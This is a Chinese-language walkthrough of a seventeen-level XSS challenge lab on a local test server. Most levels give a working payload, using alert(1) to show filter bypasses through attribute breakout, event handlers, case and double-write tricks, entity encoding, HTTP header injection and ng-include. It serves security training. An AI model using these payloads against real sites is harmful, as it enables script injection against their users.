XSS挑战赛

level1 #

签到题没有任何过滤,可直接在参数后添加测试exp进行弹窗。

192.168.88.112:8091/level1.php?name=test<script>alert(1)</script>

level2 #

在搜索框中直接尝试弹窗语句,没有成功

检查源码后发现插入的语句赋值给了input标签中的value参数,需要将value参数和input标签闭合即可。也可使用事件弹窗方法,参考level3 level4。

test"><script>alert(1)</script>

level3 #

这里将尖括号进行了转义,无法闭合input标签。value可以用单引号’闭合,然后使用事件弹窗。

‘test onclick=’alert(1),这里最后面会自动将onclick事件闭合

或者将标签注释掉 ’test onclick=alert(1)//

level4 #

和level3差不多,使用双引号”闭合value,然后使用事件弹窗。

"test onclick="alert(1)

“test onclick=alert(1)//

level5 #

对onlick和script进行了过滤,尝试a标签弹窗成功。

“><a href=”javascript:alert(1)

level6 #

该处过滤了onclick、script和href,并且使用str_replace函数进行替换,可以尝试用大小写绕过。

"><a HREF="javascript:alert(1)

"><SCRIPT>alert(1)</script>

"><SCRipT>alert(1)</script>

" ONCLICK="alert(1)

" ONclick="alert(1)

level7 #

本处对on事件,script,href完整单词进行屏蔽,替换为空,可以使用嵌套方法进行绕过。

“ oonnclick=”alert(1) 等等

level8 #

添加友情连接处可直接添加到href中,javascript被过滤,script,大小写和on事件被过滤,但是单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内。

可用html实体编码绕过,只需将被过滤的单词中任意一个或多个进行html实体编码转换即可。

level9 #

发现跟上个挑战类似,不同的是多了一个自动检测url,如果没有http:// 内容则会显示不合法,

可以在可以在最后部分加上http:// 然后注释。

javascript:alert(1)//http://

level10 #

查看源码后发现有三个隐藏的input标签,经过测试,需要传输keyword和t_sort两个参数即可

将t_sort参数type改为text

keyword=test&t_sort=" type="text" onclick="alert(1)

level11 #

这个里面多了一个ref的参数,考察的是http头部的xss注入

使用burpsuite抓包,添加Referer头,构造payload

level12 #

和level11同理,修改user-agent即可,

User-Agent: " onclick=alert(1) type="text"

level13 #

和level11同理,修改cookie即可,

Cookie:” onclick=alert(1) type=”text”

level14 #

level15 #

最下面有ng-include包含的意思,和php中include意思一样,看了其他大佬的payload,可以包含第一关的页面,

src='level1.php?name=<script>alert(1)</script>‘

level16 #

这一关过滤了script 和空格,可以用其他的符号代替,%0a%0d

<svg%0a%0donload="alert(1)">

level17 #

17和18一样,页面中有一个swf,直接在参数位置构造payload

onmouseover=alert(1) 最前面有一个空格

xss注入大多在标签中进行

简单构造:<script>alert(1)</script>

好用的标签:<img src=x onerror=alert(1)>和<a href=javascript:alert(1)>123</a>

好用的参数:onmouseover=alert(1)

利用单双引号闭合标签。

关键字过滤问题:

大小写绕过(html不区分大小写),

双写绕过(只删除一次关键字的过滤)

html字符编码转码绕过(特殊符号,关键字字母),

回车空格替换。

html注释://

利用信息头文件注入 如:referer, cookie, user_agent。

angular js中的ng-include问题:引入问题页面。

flash xss中的getURL,navigateToURL:引入问题页面,或js代码。